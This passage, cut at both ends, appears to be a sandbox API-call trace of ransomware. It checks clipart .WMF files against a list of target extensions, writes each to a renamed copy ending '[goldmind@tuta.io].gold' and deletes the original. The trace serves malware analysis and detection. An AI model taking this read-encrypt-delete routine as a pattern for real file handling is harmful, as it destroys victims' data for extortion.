returned -1 [0091.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.092] lstrlenW (lpString=".doc") returned 4 [0091.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString=".docx") returned 5 [0091.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0091.092] lstrlenW (lpString=".pdf") returned 4 [0091.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0091.092] lstrlenW (lpString=".xls") returned 4 [0091.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0091.093] lstrlenW (lpString=".xlsx") returned 5 [0091.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0091.093] lstrlenW (lpString=".ppt") returned 4 [0091.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0091.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.093] lstrlenW (lpString=".zip") returned 4 [0091.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0091.093] lstrlenW (lpString=".rar") returned 4 [0091.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0091.093] lstrlenW (lpString=".bz2") returned 4 [0091.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0091.093] lstrlenW (lpString=".7z") returned 3 [0091.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0091.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.093] lstrlenW (lpString=".dbf") returned 4 [0091.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0091.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.093] lstrlenW (lpString=".1cd") returned 4 [0091.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0091.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0091.093] lstrlenW (lpString=".jpg") returned 4 [0091.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0091.093] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0091.093] lstrlenW (lpString="DD01151_.WMF") returned 12 [0091.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0094.169] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2960) returned 1 [0094.169] CloseHandle (hObject=0x364) returned 1 [0094.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0094.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.241] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.241] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.242] GetLastError () returned 0x0 [0094.242] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xb90, lpOverlapped=0x0) returned 1 [0094.243] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0094.244] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.244] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.244] SetEndOfFile (hFile=0x3b0) returned 1 [0094.244] CloseHandle (hObject=0x3b0) returned 1 [0094.245] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.245] SetEndOfFile (hFile=0x3a0) returned 1 [0094.246] CloseHandle (hObject=0x3a0) returned 1 [0094.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.247] lstrlenW (lpString=".doc") returned 4 [0094.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString=".docx") returned 5 [0094.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.247] lstrlenW (lpString=".pdf") returned 4 [0094.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString=".xls") returned 4 [0094.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.247] lstrlenW (lpString=".xlsx") returned 5 [0094.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.247] lstrlenW (lpString=".ppt") returned 4 [0094.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.247] lstrlenW (lpString=".zip") returned 4 [0094.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.247] lstrlenW (lpString=".rar") returned 4 [0094.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString=".bz2") returned 4 [0094.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString=".7z") returned 3 [0094.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.247] lstrlenW (lpString=".dbf") returned 4 [0094.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.247] lstrlenW (lpString=".1cd") returned 4 [0094.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString=".jpg") returned 4 [0094.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString=".doc") returned 4 [0094.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString=".docx") returned 5 [0094.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.248] lstrlenW (lpString=".pdf") returned 4 [0094.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString=".xls") returned 4 [0094.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.248] lstrlenW (lpString=".xlsx") returned 5 [0094.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.248] lstrlenW (lpString=".ppt") returned 4 [0094.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString=".zip") returned 4 [0094.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.248] lstrlenW (lpString=".rar") returned 4 [0094.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString=".bz2") returned 4 [0094.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString=".7z") returned 3 [0094.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString=".dbf") returned 4 [0094.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString=".1cd") returned 4 [0094.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0094.248] lstrlenW (lpString=".jpg") returned 4 [0094.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.248] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.248] lstrlenW (lpString="DD01157_.WMF") returned 12 [0094.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.249] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=3588) returned 1 [0094.249] CloseHandle (hObject=0x3a0) returned 1 [0094.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0094.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.250] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.250] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.250] GetLastError () returned 0x0 [0094.250] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xe04, lpOverlapped=0x0) returned 1 [0094.251] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0094.252] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.252] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.252] SetEndOfFile (hFile=0x3b0) returned 1 [0094.253] CloseHandle (hObject=0x3b0) returned 1 [0094.253] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.253] SetEndOfFile (hFile=0x3a0) returned 1 [0094.254] CloseHandle (hObject=0x3a0) returned 1 [0094.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0094.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.255] lstrlenW (lpString=".doc") returned 4 [0094.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.255] lstrlenW (lpString=".docx") returned 5 [0094.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.255] lstrlenW (lpString=".pdf") returned 4 [0094.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.255] lstrlenW (lpString=".xls") returned 4 [0094.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.255] lstrlenW (lpString=".xlsx") returned 5 [0094.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.255] lstrlenW (lpString=".ppt") returned 4 [0094.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.255] lstrlenW (lpString=".zip") returned 4 [0094.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.255] lstrlenW (lpString=".rar") returned 4 [0094.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.255] lstrlenW (lpString=".bz2") returned 4 [0094.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.255] lstrlenW (lpString=".7z") returned 3 [0094.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.255] lstrlenW (lpString=".dbf") returned 4 [0094.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.255] lstrlenW (lpString=".1cd") returned 4 [0094.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString=".jpg") returned 4 [0094.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString=".doc") returned 4 [0094.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString=".docx") returned 5 [0094.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.256] lstrlenW (lpString=".pdf") returned 4 [0094.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString=".xls") returned 4 [0094.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.256] lstrlenW (lpString=".xlsx") returned 5 [0094.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.256] lstrlenW (lpString=".ppt") returned 4 [0094.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString=".zip") returned 4 [0094.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.256] lstrlenW (lpString=".rar") returned 4 [0094.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString=".bz2") returned 4 [0094.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString=".7z") returned 3 [0094.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString=".dbf") returned 4 [0094.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString=".1cd") returned 4 [0094.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 63 [0094.256] lstrlenW (lpString=".jpg") returned 4 [0094.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.256] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0094.256] lstrlenW (lpString="DD01160_.WMF") returned 12 [0094.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.257] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2228) returned 1 [0094.257] CloseHandle (hObject=0x3a0) returned 1 [0094.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0094.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0094.257] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.257] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0094.258] GetLastError () returned 0x0 [0094.258] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8b4, lpOverlapped=0x0) returned 1 [0094.259] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0094.260] ReadFile (in: hFile=0x3a0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.260] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.260] SetEndOfFile (hFile=0x3b0) returned 1 [0094.260] CloseHandle (hObject=0x3b0) returned 1 [0094.260] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.260] SetEndOfFile (hFile=0x3a0) returned 1 [0094.262] CloseHandle (hObject=0x3a0) returned 1 [0094.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString=".doc") returned 4 [0094.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString=".docx") returned 5 [0094.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.263] lstrlenW (lpString=".pdf") returned 4 [0094.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString=".xls") returned 4 [0094.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.263] lstrlenW (lpString=".xlsx") returned 5 [0094.263] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0094.263] lstrlenW (lpString=".ppt") returned 4 [0094.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString=".zip") returned 4 [0094.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0094.263] lstrlenW (lpString=".rar") returned 4 [0094.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString=".bz2") returned 4 [0094.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString=".7z") returned 3 [0094.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString=".dbf") returned 4 [0094.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString=".1cd") returned 4 [0094.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString=".jpg") returned 4 [0094.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0094.264] lstrlenW (lpString=".doc") returned 4 [0094.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString=".docx") returned 5 [0094.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0094.264] lstrlenW (lpString=".pdf") returned 4 [0094.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0094.264] lstrlenW (lpString=".xls") returned 4 [0094.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0094.264] 